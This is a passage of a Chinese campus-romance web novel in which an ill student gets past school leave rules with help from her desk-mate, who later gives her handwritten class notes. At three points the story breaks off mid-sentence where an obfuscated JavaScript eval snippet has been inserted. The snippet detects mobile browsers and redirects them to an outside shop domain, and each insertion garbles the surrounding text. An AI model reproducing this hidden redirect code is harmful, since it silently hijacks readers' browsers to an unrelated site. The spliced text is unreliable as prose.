“要我说也是活该,他那人想喜欢也喜欢不起来,神经病。” “对对对,我也有这种感觉,就是和他沟通不了,像是脑子有病一样哈哈。” 大家对于吃瓜这件事喜闻乐见,如果瓜主还是自己讨厌的人话更是巴不得。 八卦的主角没在教室,且在接下来的一两个月里也不会出现,所以大家声音很大,一点也没有想掩饰的意思。 此时是大课间,因为操场积水跑不了操,所以休息时间可以长一点。 江砚握着笔在刷题,速度很快,但是明显不怎么专心。 他转了转笔杆,抬起目光。 前面桌子上的学生趴到了一大片,都在睡觉,有一些在打闹,有一些在低头做作业。 环顾整个教室的话,趴在桌子上的人还挺多的,很正常,但是…… 江砚轻微皱了一下眉,又快速松开,看了一眼自己的同桌。 她也趴在桌子上,后脑勺对着他。 虽然看不清她的表情,但她整个人的今天的精神似乎不是很好。 上课时明显活跃度下降,一下课就像现在这样趴着,也不吭声。 他收回视线,手中转动的笔杆掉了下来,已经不知道是今天的第几次了。 上午的最后两节课是数学课,程三好却什么也听不进去,她浑身烫乎乎的,额头眼部以及脑袋都在疼。 她知道自己不是发烧,她对这种状况再清楚不过。 就是鼻窦炎发了,可能还有一点神经性紧张导致的偏头痛,时不时就像针扎似的给她一下。 整个脑袋又昏又沉,还很重,她小口进行呼吸。 身体累又酸痛,只能借助轻微的哈气,来暂时压抑住一阵接一阵的难受感。 结束上午所有的课,她终于扛不住,找到班主任,向她请假。 此时是午间,听她说了自己的情况。 蒋华提着公文包,道:“待会儿我会给宿舍管理人员发个消息,你去领通行证离开就好。” “好的,麻烦老师了。” 太阳穴挤压式的疼,没吃早饭的胃在此时发出抗议的痉挛,一抽一抽的痛着,头晕得想吐。 一中要想出去,走的流程很多。 首先学生要打电话给自己的家长说明自己要请假出去,得到家长的允许后,家长又打电话给班主任替孩子请假,班主任才会发消息到群里,宿管阿姨看到后,给学生一张通行证,学生拿着这张通行证经过门卫处,登记好才能出去。 因为程三好以前身体总是不好,需要向家里打电话的次数很多,而程伟国和黎萍显然不是什么有耐心的人。 一来二去,她就非常害怕打电话,但是她又不得不打。 本来她是想在大课间就请假出去的,但是一直到中午,才打通了他们的电话,黎萍打给了蒋华,蒋华这才同意她请假出去。 好不容易解决这一环的事情,程三好以为接下来的事情就轻松了,结果没走几步一股恶心感袭上喉间,她慌不迭跑进了女厕所,对着蹲便池吐了起来。 结果啥也没吐出来,只有一点苦水。 眉心偶尔刺痛,挤压的疼让她连睁开眼都很难受。 明明没有做什么剧烈运动,但她就是累得快要力竭的那种状态。 伸手死死地掐了掐自己的额头,她撑住隔板站起身,等那一阵眩晕感过去,才脚步发虚地离开了厕所。 从教学楼走到宿舍,这一路上她每走几步就要停下来喘一口气,也因为耽搁了一些时间,她到宿舍楼的时候,已经十二点五十了。 玻璃门被铁链锁住,宿舍管理人员冷冰冰地站在里面,对着她说:“怎么现在才来?别进来了,进不来了,都过了十二点五十了,讲不讲规矩!” 这个阿姨很瘦,瘦到有点脱相的那一种。 她的肤色有一些黄,脸颊有雀斑,但是却涂着粉,抹着不适合她的口红,以及两只手上都带着金镯子。 程三好脑子昏昏沉沉,站在台阶上,试着把话说清楚:“我不是要进去,我是要请假。” 对方却像是不理解她说的话一样,瞪着一双眼睛:“请什么假啊?都说了不能进来。” 程三好掐着手指,企图让自己清醒一些,她口腔里干得很,无论她怎么吞咽,一点唾沫也分泌不出来。 “那阿姨你看一下手机,我们班主任她应该给你发消息了的。” 阿姨掏出手机,点开某个群查看起来,确认一遍:“你高一二十一班的?” “对。” “叫什么名字?” “程韵清。” “唉——”阿姨音调拖得老长,“没有啊,你们班主任没有发消息。” 程三好本就是强撑着,生病带给人的脆弱是难以控制的。 心里委屈得不像话,迷糊的脑袋里慢慢得出一个结论,也就是说时间将近过了一个小时,答应好她说马上就发消息到群里的班主任到现在都没有发。 宿舍管理人员见外面的女孩子眼眶红着,说话有气无力的,就说:“要不你再给你的老师打个电话,也许她现在在吃饭忘了。” 程三好已经不知道要怎么说好了,视线里一片模糊,眼泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598746|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砸在镜片上。 她努力去看清手机上的字,重新又打了一个电话过去,结果第一回竟然没打通。 她又接着拨打了第二回,对方这一次过了很久终于接通。 程三好说了自己的事情,那一头的蒋华毫无愧疚之心,只是道:“我刚才在吃饭,现在在午休,待会儿就发。” 偏偏程三好还只能有苦不能言,将礼貌贯彻到底。 她想这一次总该可以进去了吧,结果那位阿姨拿起手机翻起了群,又告诉她:“还是没有。” 有些时候,崩溃就在一瞬间。 程三好的口罩被眼泪浸湿,她抬手摘了眼镜,孤零零的一个人站在门外。 校园里十分安静,没有一个学生在外面乱晃。 一向是三好学生的她此刻却有种自己犯错被抓的羞辱感,自尊心碎了一地。 她举着手臂搭在自己的眼睛上,哭得伤心,感觉这些事儿,都是天大的事。 江砚从走廊径直走过,进入超市拿了一盒黑色水性笔,准备走过大门进入男宿舍时,突然瞥见熟悉的身影。 他站住,然后走上前。 见女生被拦在门外,耷拉着肩膀,背着个大书包,可能看见了他,她的目光随之扫了过来,那一眼中眼角还带着眼泪。 江砚的嘴角压得很低,目光发冷,看上去和平时没什么两样。 他问那个宿舍管理人员:“发生什么事了?” 说着,他不等那位阿姨回答,就痞痞地笑着:“人家一小女孩,好像身体也不大舒服,万一是严重的病呢,是吧?到时候出了事这责任谁背?” 面前的男生个子高出她很多,虽然在笑着,但笑不达眼底,反倒带着一股咄咄逼人的压迫。 宿舍管理人员没向刚才对程三好一样冷漠,她语气平和地陈述事实:“这过了十二点五十就不能进宿舍,是校园定的规矩,咱不能破对吧?然后她又与我说,自己是跟班主任请了假的,要来拿通行证,结果他们老师没发啊,我这怎么给她,你说对不对,小伙子。” “阿姨说的都对。”江砚敷衍地点头,伸手,说,“你再点进那个群给我看看,会不会是你操作没对,忘记开流量了?” 宿舍管理人员脸色不好,但是也怕到时候出事,按照面前这个男生所说的那样,看了一眼是不是自己没有联网。 结果还真让人家说中了,她看着灰色的标,顿时有些慌乱地急忙点亮,与此同时,手机叮咚一声,提示来了新消息。 这一次,群里面那位蒋华老师发来了消息,连上网的一瞬间,对方的消息显示十分钟前就已经发来了。 江砚的视力极好,什么都看见了。 对上那位宿舍管理人员的眼睛,他皮笑肉不笑:“这可以说得上是你的工作失误了,想想待会儿怎么给人家女孩子赔礼道歉吧。” 说着也不理会身后人的表情,单手插着裤袋转身走了。 程三好也不知道短短几分钟发生了什么,她只知道男生与那位阿姨说了几句话后,她就可以被允许进入了,并获得了想要的通行证。 签字的过程中,那位阿姨甚至还语气很好地问:“是要去市里面的医院吗?” 程三好没说话。 宿舍管理人员尴尬的一笑,再度贴心说:“要记得带上身份证哈,还有你这手机——” 程三好有了反应,她将通行证收好,说:“我对那个医院在哪儿完全不知道,需要用手机导航,这件事我提前与苏阿姨说过了,等我用完今天,开完药回来我就交给她保管。” 女生语气很冷漠,宿舍管理人员却好声好气地叮嘱:“行,那你路上小心,以后有什么需要阿姨我帮忙的,你尽管说。” 程三好是一个心软的人,她也没觉得这阿姨做错了什么,无非就是态度不好。 这会儿见对方主动给了台阶,她便顺着下,嗯了一声算作回应,然后离开了宿舍楼,走到北门,交了通行证,登记好,总算是被放出了一中。 84. 留意(校园) 学校建在郊区,离市中心还很远。 因为是新校区,所以周边新建的房子很多,而且交通也不是很便利,路上基本上没有出租车在跑。 程三好只能选择坐公交车,唯一有点不好的就是她晕车,且只晕公交车,再加上身体本就不好,头晕的症状便就加重了。 似乎是已经习惯,她背着的书包旁边的插兜里,放着黑色塑料口袋。 她双手揭开,举在嘴边,随时做好准备。 过了五个站,经过三十分钟,她到达了市里。 这块地方属于是九星关区管辖的范围,而程家坐落于西湖湾区,那个地方经济水平显然要比这个区要发达很多。 程三好来了那么久,从来没有出来过,对学校外面周边的区域都处于一个完全陌生的状态。 她下了公交车,环顾四周,她不知道自己到了哪儿,只能拿出手机导航,搜索要去的那个医院。 跟着导航走了十几分钟,穿过一条小巷,面前就是一条马路,而穿过那条马路,对面就是医院。 进了医院,她倒是不怎么陌生,熟练地挂号交钱找到相应的诊室,坐在外面等着叫号。 医院里无论什么时间段,人流熙熙攘攘的,再加上各种广播声以及仪器的滴滴声,穿过程三好的脑袋,让她不自觉地生出一种焦躁。 偏偏出门得急,手机电量没充满,这会儿只剩下百分之二十了。 她感到焦虑,也感到心慌,但是必须让自己保持冷静。 等她在诊室与医生说了自己的病情,拿到处方笺,再下楼去药房交费抓药等等系列操作完成以后,手机只剩下百分之十的电量。 出了医院,才发现阴转晴,阳光炙热地烤着地面,刺眼的光芒让程三好头更痛了。 她找到最近的一个公交站,扫了三块钱,上了车坐在第一排的一个座位。 但是只坐了两个站,她就隐隐撑不住,无论她再怎么死死地掐着虎口,恶心的感觉直往嗓子口冒,于是还没有到终点站,她就提前中途在一个站下了车。 她也不知道自己在的这个地方是哪,自己离学校有多远,而且手机在这时关机了。 趴在公交站前的椅子上,程三好紧紧闭着双眼,产生了自暴自弃的想法。 不知过了多久,也许就十几分钟,她挣扎起来,往公交车去的方向走。 她打算先走着再说,直到脚底发酸,大概步行了2公里,她才成功打上出租车。 司机师傅很好说话,在程三好提出有没有充电数据线时,把自己的借给了她。 程三好谢过,急忙在车内给自己的手机充上电,内心稍稍松了一口气。 中途,师傅停下来拉了一个顾客,程三好没怎么注意。 晕车的感觉又来了,她太阳穴在不断被挤压,感觉头下一秒就要爆炸了。 她不敢靠靠着椅背,尽量让自己靠前,降下车窗,让风吹着自己,目光必须放在前面,尽量不看外面往后退去的风景。 她就这样忍了十几分钟,到了一中门口,她咬紧牙关,屏住呼吸,拔下手机付了款,就忙不迭打开车门,跑到路边吐了起来。 一天下来什么也没吃,她就是蹲着干呕,没有吐出来什么东西,就是口腔不停地分泌口水,不得不蹲着缓一缓。 “同学,你没事吧?” 视线前方突然出现一只手,手上递过来纸巾。 程三好摇了摇头,接过纸巾擦了擦自己的嘴,说:“我没事,谢谢。” 这位从出租车上紧随着下来的女人,就是司机师傅中途拉的那个顾客。 她自己站起身,没再说什么。 看见她进入学校,程三好这才发觉,原来对方是一中的女老师。 她当时还以为是一位女大学生,因为女人很年轻,可能刚工作没几年。 程三好身体依旧很难受,但是心里因为一个陌生人这个暖心举动,找到了一点能量。 站起身,进入北门,在门卫处把回来的时间写上。 进入校园回,到自己的寝室,按照医嘱吃了药,就躺在了床上,打算睡一觉。 下午五点过,学生放学,她上铺的室友,也就是一个叫张悦的女孩子,给她带了一份粥。 程三好感动得不行,正好也恢复了一点食欲,就吃了起来。 结果吃饭过后没过十分钟,她就开始了狂吐。 一中要求学生们在七点必须到达教室观看新闻联播,寝室内的其他人都走了,只有张悦还留下。 她拿拖把将程三好吐在地上的污秽物处理掉,又给她把保温杯里面的水接满,放到床头,才不得不说:“马上要上晚自习了,韵清,你可以吗?” 程三好躺在床上,脸色苍白,嘴唇完全没有血色。 她感觉吐出来以后,那一股从中午一直延续到下午的晕车感才算是彻底地释放出来,整个人好多了。 她轻声说:“我没事,你快去吧。” 张悦只是她的室友,还没有到好朋友的程度,犯不着为她请假,从而错过老师教的新知识。 她人很善良,看着病恹恹的女生,无声地叹了一口气,说:“那你照顾好自己,如果实在撑不住,你就去找宿舍管理人员,让他们通知你的爸爸妈妈,把你接回家去,休养好了身体再来。” 程三好下巴搁在被子上嗯了一声,说:“我真没事,你快去吧,待会儿迟到了,班长又得说你。” “好,那我走了。” 她走后,一并将寝室里的灯也给关了,阳台的窗帘也严丝合缝地铺成开来,一丝光也没有跑进房间。 可能是药的作用上来了,程三好眼皮沉重,渐渐地就睡了过去。 罗坤现在的座位上坐着张悦,她和王灿关系不错,听到她问程韵清的身体情况,神色有些心疼:“一直在吐,吃进去的食物吐出来不说,还把药也给吐出来了,后面又吃了一次药,结果中途又吐了。我瞧着,心里面都有些不忍,那小脸白花花的,一点血色都没有。” 王灿问:“没有人照顾她吗?” “哪来的人啊?她生了这么严重的病,从始至终父母就没有露个面或者打个电话关怀一下,我真服了。” “这是什么极品父母?我妈只要听我说了声不舒服,立马就将我接回家去了。”王灿感到生气。 张悦长长地叹了一口气:“有些人家的父母就这样。” “要不待会儿第一节课下了以后,我们去看看她。” “十分钟哪够啊,我们可能这点时间就刚走到宿舍楼,最多也只能看她一眼什么忙也帮不到,不过——”张悦拍了拍王灿的肩膀,“应该没什么事,我看韵清她挺独立的,自己去开了药回来吃,如果实在是不舒服,应该会跟宿管阿姨说。” “行,等晚自习下了以后,我和你一起去看看她吧。” 他们的对话一句不落地跑进后面坐着的江砚耳朵里,他写完最后一个题,将练习册收了起来,单手撑在下颌处,扭头看着窗外。 天光渐暗,视野模糊,路灯一闪一闪地如黑夜中的星辰,陆续亮了起来。 绿色的树木渐渐隐入黑暗,在天边留下枝干的剪影。 新闻联播播放完毕,语文老师走进教室。 江砚收回目光,拿出一个新的笔记本开始在誊抄什么。 将近三个小时的晚自习,结束后他又待了十几分钟,握着笔还在那个本子上写。 握笔的手指修长,指甲修剪得整齐,笔下的字行云流水,笔锋凌厉,不加收敛。 窗户玻璃上反射着少年人的侧脸,从蓬松的头顶碎发一直到肩膀,眉骨明显,鼻梁高挺,脸部轮廓流畅。 啪嗒的一声,他将笔帽盖上。 收拾好书包,出了教室,经过门边时,他顿了一下,伸出两指在白色开关上,微微用力。 教室陷入了黑暗,江砚没有回头,抬腿转身走了。 第二天上午,程三好依旧没有来。 江砚手还放在书包上,虎口卡在肩带边沿。 他站在自己的座位上,看着左边依旧空荡荡的座位,最终抬腿坐在椅子上,将书包塞进了桌子。 上午一切正常,无事发生,下午第一节课就是体育课。 很多人午休结束后,都没有去教室,直接奔操场而来。 完成体育老师安排的基本训练后,大多时间都是留给学生们自由活动的,想打篮球的就打篮球,想玩排球的就玩排球。 女生基本上都在树荫下遮阳,或者就是在看男生打篮球。 程三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623848|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好来的时候,离下课都只有十分钟了。 不远处的篮球赛似乎打得挺激烈的,没什么人注意到她,她也就稍稍放下了心,就选在出口旁边有灌木丛遮挡着阳光的台面上坐下。 “好样的!又是一个三分球!” “拦住江砚!死死拦住!” “哦——又是一个三分球,牛逼!” 程三好看不懂篮球规则,但作为一个门外汉,也还是能够看得出来,刚才江砚那一球的技术含量。 对方派来的队员,挥手想打他手中抱着的篮球,江砚一个假动作晃过,背身旋转,跳跃,投篮一气呵成,非常帅气。 他穿着校服t恤,领子处的两个纽扣解开了,露出一小片锁骨,人瞧着挺痞的,就是那双眼睛依旧像含着霜一般,冷冰冰的,没啥温度。 他们所处的位置就暴露在大太阳下,程三好光看一眼就觉得热。 她眯着眼睛,刚要移开视线,站在场外喝着水的男生突然偏头直直地看过来。 紧接着,对方低头拧上瓶盖,单手提着水瓶,就朝她这里走来。 男生腿长,走路带风,在阳光下耀眼得过分,是很多女生的焦点所在。 程三好不知道为什么不敢与他对视,微微向旁边侧着一点身体,仿佛在逃避着什么。 她暗自祈祷江砚可千万不要来她这儿,可随着那一股冰霜一般的冷木香靠近,她就知道,他坐在了自己的身旁。 程三好顿时感觉到了好几道打量的目光,绷着嘴不自在地正过身体,视线落在前面不远处。 江砚转身坐下,与女生就隔着一个人的距离。 他将水瓶搁在旁边,微微岔开腿,双手搭在膝盖上,是个有点下压俯身的放松姿势。 他眼睛看着那些人在打篮球,话却是对左边的女生说的:“你请了将近一天的假。” 程三好不懂同桌这一句莫名的话,只能道:“嗯,怎么了?” 男生保持着这个姿势,扭头,深邃的眼眸看着人,他说:“你脑子这么笨,学习进度还跟得上吗?” “……”程三好一愣,反应过来后撅嘴哼哼了两声,极度不赞同,“少小瞧我,我虽然不像你一样有天赋,但我有的是努力,况且前天晚上,你不是已经见证到了我的实力了吗?” “那个丑到爆炸的手电筒?” 女孩子一下没声了,她拉着脸,眯着眼瞪人。 看清对方神色的一瞬间,程三好感觉怪怪的,也不知是不是她的错觉,总觉得江砚虽然脸是冷的,但是好像在顶着这么一张脸在逗她。 看出他是开玩笑的,程三好鬼使神差道:“江砚……” 女孩子的声音轻轻柔柔的,念那两个字像是在唇间滚过一遍,缠缠绵绵。 江砚目光落在地面,神色如常地支起上半身,坐直,肩膀比身旁的女孩子宽出很多,对比鲜明。 他嗯了一声,侧眸看人。 女孩子的双腿并拢,不像男生一样恣意随性地敞开着,双手放在腿上,坐姿特别乖。 从侧面看去,扎着马尾的脑袋很圆,耳朵轮廓圆润,露出来的肌肤很白。 一本正经地说:“我还是喜欢你之前对我爱搭不理,高冷的样子。” 女生语气挺平静的,但江砚这个角度,刚好可以看到女生镜片后的眼睛,那眼尾弯着,像条狡猾的小鱼。 江砚搓搓手指,扯着嘴角,要笑不笑的样子,嗓音慵懒:“找虐啊你。” 程三好在与他的这一番交流中,不知不觉心情变好了很多。 她轻摇头,狡辩:“我哪有……” “小心——” 一道急促的,焦急的男声在篮球场上突兀地响起。 程三好摇头的动作一顿,闻声正要看过去,一个篮球已经飞到了她的跟前。 那真的是一刹那或者就是一息间,快到人根本就反应不过来。 程三好下意识闭眼。 猛烈的风速卷动她的长发,啪的一声,篮球在离她面中十公分左右的距离停下。 额头的碎发飘了飘,程三好惊魂未定,睁眼,前面就是个放大的篮球以及托着篮球的一只手。 直到那只青筋突起,骨节分明的手将球收了回去,她才眨了下眼睛,可以呼吸了。 85. 暖春色(校园) 江砚将球抓在手中,缓缓向前,走了几步,在空中上下颠了颠。 篮球板旁边刚才不小心把球扔向这边的一个男同学反应过来,急忙道歉:“对不起,对不起,我不是有意的……” 他双手合十,态度诚恳。 其他人也渐渐反应了过来,篮球场上顿时有了打趣的声音。 “不是,你扔这球挺远啊,朝着人可爱妹妹。” “平时没见你那么猛,悠着点,兄弟。” “也算是被江砚那小子装到了,英雄救美啊这是。” 那位被调侃的男同学脸皮薄,不经逗,摆了摆手,说:“真的特别不好意思。” 他说着,脸上愧疚,走了几步,冲程三好道:“同学,没事吧?真是不小心,不是故意的。” 女生还未说话,江砚就抬手,将篮球扔了过去。 那位男生稳稳接住了。 在篮球场上,这种情况是不可避免的。 江砚并没有说什么,转过了身。 本就是一件无关紧要的小插曲,篮球场上又热闹起来,周围的人转过目光,没再注意程三好这个角落。 正好此时,下课铃声响起。 江砚和女孩子并肩出了篮球场,走在人行道上。 他见她从刚才开始就不发一言,随口问:“吓着了?” 程三好走路很慢,眼睛认真看着脚下的路面,她说:“没有。” 江砚放小步子,保持和女生一样的步伐,稍稍偏头看人。 生病当真折磨人,短短几天,女孩子又瘦了一些。 校服外套拉着,领子规整地掖向外面,露出来的细颈很直。 风一吹过,衣服空荡荡。 江砚目光晦暗,张嘴想说什么,最终还是咽了下去。 回到教室,程三好跨过凳子,准备坐下时,突然瞥见自己桌子上有一个蓝色封皮的笔记本。 她不记得自己有这样的一个本子,疑惑着打开,发现是她缺席上课的这一天多,各科目老师讲解的知识笔记,尤其是数学物理以及化学这三门课,相关典型的例题也记了下来,分门别类,条理清晰,字迹工整——这是一份很用心的笔记。 当看到字体的一瞬间,她就已经猜出,这是谁所制作的了。 本来她已经做好,从头再来,将落后的一些新知识点,自己抱着书一点一点地学。 但是此刻,拥有了这个笔记本,她学起来必定会事半功倍,轻松很多。 扑通扑通—— 心脏剧烈地跳动起来,但是她这一次没有恐惧,没有紧张,没有害怕。 这是她第一次知道,原来剧烈的心跳背后,也可以是喜悦感动的表现。 她握着本子,扭头看着自己的同桌,一双眼睛亮晶晶的:“这是你给我制作的吧?我从字迹就看出来了。” 她语气有些激动:“我很喜欢……我非常感动。” 江砚没说话,低头做题。 程三好却丝毫没有被对方的冷漠打击到,她真的从小到大,从来没有收到过这么别致的帮助。 这一个多月,她精神一直处在一个紧绷的状态,对外界的感知能力薄弱。 很多时候,她都觉得自己已经脱离在了世界之外,她感受不到任何东西。 但是现在,眼前所见之物渐渐清晰明了,洒在课桌上的阳光是金黄色的,沐浴在阳光下的手,感知到了温度,是暖和的,时间长了,也是刺痛的。 她与江砚虽然已经相处了近两个月,但也是这几天才渐渐互相认识了解。 明明都不熟,更何况对方还是那种看上去非常冷淡的人,但她竟然也有在被人记挂着。 身体还很虚弱,但总体是健康的。 罗坤在未来的两三个月内不会出现骚扰她。 程三好怔愣,这些之前让她悲伤,难过焦虑的事情,好像一下子得到了化解。 这就是成长吗? 她有点恍惚,这段时间似乎总是在流泪,都快忘了正常的生活是怎样。 她渐渐理解,从中得到感悟。 人生总会有光明或者黑暗时刻,你不能固步自封,自怨自艾,只要放平心态,坚持住,总会等到柳暗花明的一刻。 所以,人生真的好神奇,说不定哪一天就发生了一个转折点。 女生说完那句话后,沉默了好久。 江砚写作业的速度下降,他微微偏头看了一眼旁边的人。 对方不知何时已经摘了口罩,露出一整张小脸。 窗外的阳光斜打在她的身上,整个人看上去暖洋洋的。 她察觉到江砚的视线,扭头与他对视,在金色的光芒里,笑得特别开心:“谢谢你,我的好同桌。” 她的牙齿又整齐又白,笑容很有感染力。 一双眼睛里碎着星芒,特别真诚。 不过有夸大表演的痕迹,所以比起甜,更多是的傻笑,这就让她看起来有点憨。 江砚扯着一边嘴角,似笑非笑,他说:“不用客气,小傻子。” “……” 女生直接被他这句话干沉默了,半晌才嘟囔着说:“我真的有这么傻吗?我的成绩就仅次你,人也长得勉强可以,你咋一直说我傻呢。” 语气抱怨,不满,十分不服气。 江砚见她垂眸,一副思量的样子,就问:“那你想让我怎么称呼你?” 女孩子皮肤的白,是那种带着点病弱的白,淡淡的,破碎的,嘴唇却饱满而红润。 她趴在桌子上,下巴搁在手臂上,就保持着这个姿势抬眼,她说:“只要不叫我小傻瓜就行。” 江砚煞有其事地点头。 程三好刚要满意他配合的态度,谁料对方下一秒就说道:“好的,大聪明。” “……”程三好自闭,扭头不理会这个喜欢捉弄她的帅气同桌了。 — 下午的几节课过得飞快,一放学,程三好就直奔食堂。 她现在食欲回来了,肚子饿得不行,嗦了一碗粉,又吃了两块紫薯发糕,才心满意足地买了一个面包,慢悠悠地回到教室。 她落座,见江砚好像还保持着她离开之前的姿势,不禁问:“你没去吃饭吗?” 江砚面无表情:“吃过了。” 女孩子猝不及防地噗嗤一声笑了出来,她像是发现了什么有意思的事情一样,笑声很低,带着明显的倒抽气。 听着这笑声,江砚放下笔,扭头直直地看着人:“你笑什么?” 程三好眼角还有笑意,隔空用手指点了一下江砚的嘴角,说:“干的。” 说着她又止不住笑:“没想到你也会撒谎,还顶着那么一张冷冰冰的脸,挺逗的。” 女生的手指并没有碰到江砚皮肤,但他还是往后退了一点,说:“女流氓。” 他说完这三个字,就转过身不看女生了。 男生表情和平时没什么不一样,但程三好就是察觉到氛围有点怪,她后知后觉地耳根发热,冷静片刻,将那个还没有吃的面包放在桌子上,用手推了过去。 江砚瞟了一眼,道:“我不吃面包。” 程三好就又像蚂蚁搬家一样,两指搭着面包平移了过来。 安静片刻,女生又问:“那你喜欢吃什么?” 教室前面总是很热闹,只有他们这个角落像是一个不被打扰的小世界。 江砚翻过一页,心思都在题目上,又或者的确没有喜欢的,他说:“没有。” 见他很认真地在学习,程三好猛地闭嘴,不再出声。 作为学生,娱乐时间是很少的,大多时候都在埋头学习。 日复一日,时间总是在不经意间悄悄溜走,等到晚自习的铃声一响,程三好才恍然惊觉,原来已经到这个时候了。 她收拾书包,准备离开。 如今没有罗坤骚扰,她可算是可以自由选择离开的时间了。 今天的作业超额完成,她决定早早回去,洗澡睡觉。 她在桌前站着,将书往书包里塞,余光里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13655800|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到江砚竟然也在收拾书,她有点震惊:“你也要现在走吗?” 江砚没看她,嗯了一声。 于是二人奇妙地一起下晚自习,这一次他们并肩而行,不再是一人在前,一人在后。 路过食堂,程三好停下脚步,对着江砚说:“你先回去吧,我想去吃夜宵。” 江砚点头,抬腿却上旁边的台阶,明显是去食堂。 程三好疑惑,见他已经走到了上面,急忙跟了上去。 掀开厚重的透明门帘,二人进入食堂。 程三好边走边问:“你想吃什么?我请你。” 江砚停下脚步,看她,说:“我不吃,你想吃什么就去买,我在这儿等你。” 程三好确认一遍:“真的不吃吗?烤馒头我很推荐。” 可能是学习了一天,江砚整个的气质没那么凌厉,神情淡淡的:“不用,去吧。” 程三好就转身去到窗口排队。 食堂晚上只有一楼会营业开窗口卖吃的,程三好买了一个烤馒头,那馒头两面焦黄,中间夹心有土豆丝,豆皮,海带,豆芽之类的,很杂,每次吃就像开盲盒,次次都能给到人惊喜,口感非常棒。 她本来是想买两个的,给江砚带一份,但是莫名觉得,江砚这样的人应该吃不了辣,所以就给他带了几个包子。 她提着食物,找到江砚。 见他依旧站在原地,插着兜,微耸着肩膀,神色看上去有点困。 她走到他的跟前,递给他吃的:“下午你不是没吃饭吗?不知道你喜欢吃什么,就随便带了点,你吃几口垫垫肚子,也不要吃多,因为待会儿睡觉了积食对身体不好。” 江砚也没客气,接了过来,咬了一口热包子。 二人边吃边穿过食堂,往出口的位置走。 程三好嘴里还含着食物,随口问:“你能吃辣吗?” “不太能吃。” 可能真的是有点困了,男生整个人的情绪就很平,很淡,眉宇间也有了倦色。 程三好反而精神旺盛,她听到答案,眼睛弯着:“我看人还是蛮准的,所以没给你买我吃着的这个,不然辣得你指定要在我眼前流眼泪。” 男生没吭声,结果没走几步,身旁的女孩子突然停下步伐,没动了。 江砚已经连着好几天没好好睡觉了,再年轻的身体也支不住天天通宵高强度学习。 这会儿身体的疲惫一下涌了上来,他的精神不是很好。 他扭头,见她绷着嘴,脸皱成一团,神色非常崩溃的样子。 “怎么了?”因为困倦,他的嗓音低沉,带着一点沙哑。 程三好不敢继续咀嚼口中的食物,甚至不敢用力呼吸,她的另一只手还举着烤馒头,哼着说:“里面有香菜……” 女生没张嘴,哼哼唧唧的说着话。 江砚听不懂她含糊的谜语,但从她的表情大概能猜出,应该是吃到了什么不喜欢或者不好的东西。 他心里无奈地叹了一口气,一只手拿过她手中的食物,另一只手搭在女生的手腕,牵着她走到墙壁边的垃圾桶。 音调不高:“吐出来。” 程三好拧着眉,将口中的食物吐掉。 余光里,看见江砚递给她一瓶水。 她接过来,对方说了一句:“没喝过。” 程三好点头,漱了漱口,才算重新活了过来。 她眉眼耷拉着,像只忧郁的考拉,生无可恋地说道:“没想到有一天,我会被我最喜欢的一道食物背刺……” 江砚将手中还剩有的东西一并丢进了垃圾桶,可能是女生表情太过生动,他来了点兴趣,问:“它怎么背刺你了?” 程三好控诉:“它里面有香菜!好大的一根……” 两人往外面走,出了食堂,江砚说:“你还挺挑食。” 然后女生就跟他说了自己尝试接受香菜,却和它大战了几百个回合的故事。 江砚全程静静地听着,回去后,一夜无梦,睡了个好觉。 86. 他的细腻(校园) 时间一晃,进入十一月,天气渐冷,树叶变黄,落在地面,人一踩,发出咔哒的响声。 昨夜下过雨,今天倒是没再下,就是起了一点小雾,雾蒙蒙的,有点阴沉。 此时是课间,一眼扫过去,基本上所有人都穿上了校服外套,少有的几个勇士还穿着单薄的t恤。 程三好这几天一直在赶进度,手中的笔就没停下过,中指第一节指腹旁边的皮肤现在特别疼,一用力写字就刺疼。 最后她实在受不了了,就搁下笔,另一只手抱着揉了揉。 “叹什么气?” 同桌这几天似乎休息得不错,整个人的状态能看得出来很好,不然他可不像是会主动说话的人。 程三好皱着眉头,又长长地叹了一口气,郁闷:“手疼……” 她声音轻,尾音调转。 江砚放下笔,扭头看人:“我看看。” 程三好略微侧过身,伸出自己的右手,点了点自己的中指,她说:“这里明明已经磨了起了一个小茧,但是握笔多时间多,一用力就疼……” 江砚嗯了一声,说出自己的想法:“会不会是握笔姿势不对?” 说着他站起身,来到女孩子的身后,轻抬下颌,示意她:“你写字。” 程三好也觉得是自己的握笔姿势或者下笔的用力方法不对,她正过身体,在空白的草稿纸上胡乱地写了几个字。 江砚一看她动笔,就发现问题在哪儿了。 他俯身靠近人,一只手插在裤袋,另一只手上前抽过女生手中的笔,握在自己的手中,在她刚才落笔的纸张下面提笔写了几个字。 